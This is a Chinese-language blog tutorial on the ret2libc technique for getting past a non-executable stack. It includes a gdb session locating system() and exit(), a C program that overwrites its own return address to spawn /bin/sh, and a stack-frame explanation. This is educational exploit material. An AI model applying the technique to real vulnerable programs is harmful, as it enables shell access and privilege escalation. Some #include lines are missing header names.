shellcode之二.Plus2:ret2libc实例

在<简述漏洞提权>最后提到ret2libc,原书并没有详细的资源。但理解这个对以后如何绕开不可执行栈(nx-stack)有很大的帮助,鉴于此,我在网络上找到一些相关资料,并进行相应的试验。

The basic idea behind the "Return to Libc" attack is that even though the stack has been marked "Non Executable", it can still be overwritten and corrupted. We are thus still in control of the return address on the stack and hence control EIP. Libc is mapped into program memory of most processes and thus we can access  the function calls by their address in memory. In this video, we will look at how to find the addresses for the system() and exit() calls in Libc and use them to spawn a shell from a vulnerable program.

以上出自:http://www.securitytube.net/Buffer-Overflow-Primer-Part-8-(Return-to-Libc-Theory)-video.aspx


如何找到环境变量的地址


//file: get_env_addr.c  
  
#include  
#include  
  
main(int argc, char **argv)  
{  
    char *addr = getenv(argv[1]);  
  
    printf("Address of %s is %p/n", argv[1], addr);  
    printf("String present there is %s/n", addr);  
    return 0;  
}  


sep@debian:~/shellcode/ret2libc$ export SH=/bin/sh ;设置环境变量  
sep@debian:~/shellcode/ret2libc$ gcc get_env_addr.c   
sep@debian:~/shellcode/ret2libc$ ./a.out SH  
Address of SH is 0xbfffff7b ;拿到环境变量SH的地址  
String present there is /bin/sh  
sep@debian:~/shellcode/ret2libc$  


ret2libc


以下随意写个例子绕开nx-stack从而调用system函数执行/bin/sh拿到一个shell,仅作展示这种技术的可能性,如何利用还得看具体场合。

首先拿到system()和exit()的函数地址,随便调试一个程序即可:

sep@debian:~/shellcode/ret2libc$ gdb ./hellworld   
GNU gdb 6.3-debian  
Copyright 2004 Free Software Foundation, Inc.  
GDB is free software, covered by the GNU General Public License, and you are  
welcome to change it and/or distribute copies of it under certain conditions.  
Type "show copying" to see the conditions.  
There is absolutely no warranty for GDB.  Type "show warranty" for details.  
This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/libthread_db.so.1".  
  
(gdb) break main  
Breakpoint 1 at 0x804838a  
(gdb) r  
Starting program: /home/sep/shellcode/ret2libc/hellworld   
  
Breakpoint 1, 0x0804838a in main ()  
(gdb) p system  
$1 = {} 0x4005b790   
(gdb) p exit    
$2 = {} 0x40046a80   
(gdb) 
注意其中的0x4005b790是system()的地址,0x40046a80是exit()的地址。再结合SH=/bin/sh的地址0xbfffff7b,我们已经得到所有要素,程序如下:

//file: ret2libc.c  
//gcc ret2libc.c -mpreferred-stack-boundary=2  
  
#include   
  
#define SYSTEM 0x4005b790  
#define EXIT   0x40046a80  
#define SHELL  0xbfffff7b  
#define DEFAULT_OFFSET 0  
                     
int main(int argc, char *argv[])  
{  
    int *ret;  
    int offset = DEFAULT_OFFSET;  
    if (argc > 1) offset = atoi(argv[1]);  
          
    ret = (int *)&ret + 2; //这里注意ret和offset这两个变量在栈中的位置  
    (*ret++) = (int)SYSTEM;  
    (*ret++) = (int)EXIT;  
    (*ret) = (int)(SHELL+offset);  
}
在程序执行中,string(这里指/bin/sh)的位置可能会跑出一些偏移(也有可能不会),要慢慢调整,所以这里的程序可动态调整环境变量的位置。
sep@debian:~/shellcode/ret2libc$ gcc ret2libc.c -mpreferred-stack-boundary=2  
sep@debian:~/shellcode/ret2libc$ ./a.out   
sh-2.05b$ 

编译运行,的确拿到新开的shell。


析疑:system()如何获取参数


把system()的地址放到RET的位置,可以理解令EIP指向system(),但把/bin/sh环境变量地址放到RET+2处,如何理解是把字符串"/bin/sh"作为system()的参数?

当程序正常执行一个函数时,参数入栈的顺序和它在代码里的顺序正好相反。执行CALL ,CALL把下一条指令的地址(这个例子是exit()的地址)压入栈,并将ESP减4。当返回时,RET将被弹出栈,因而ESP指向RET之后的地址。


现在,执行流程应该重定向到将被执行的system()。系统会将CALL system()的下一条指令地址(这里是exit()的地址)压入RET(注:这里的RET指system()函数栈上RET)中,并想当然地认为所需要的参数正在栈上等着它,而第一个参数位于RET后,这是栈操作的正常行为。因此,把<执行system()返回的地址>和<参数>放到之后的8个字节里,当系统跳转到system()时,系统会认为所需要的参数正在栈上等着它。我们构造了system()的栈帧内容。


回想<栈溢出>中栈帧结构图,右边加上批注:

system()栈帧
+---------------+ 低内存地址,栈顶
|               |
+---------------+
|  局部变量     |
+---------------+
|  EBP          |
+---------------+
|  RET          | exit()的地址
+---------------+
|  参数1        | 字符串/bin/sh的地址
+---------------+
|  参数2        |
+---------------+
|               | 
+---------------+ 高内存地址,栈底

你可能感兴趣的:(C/C++)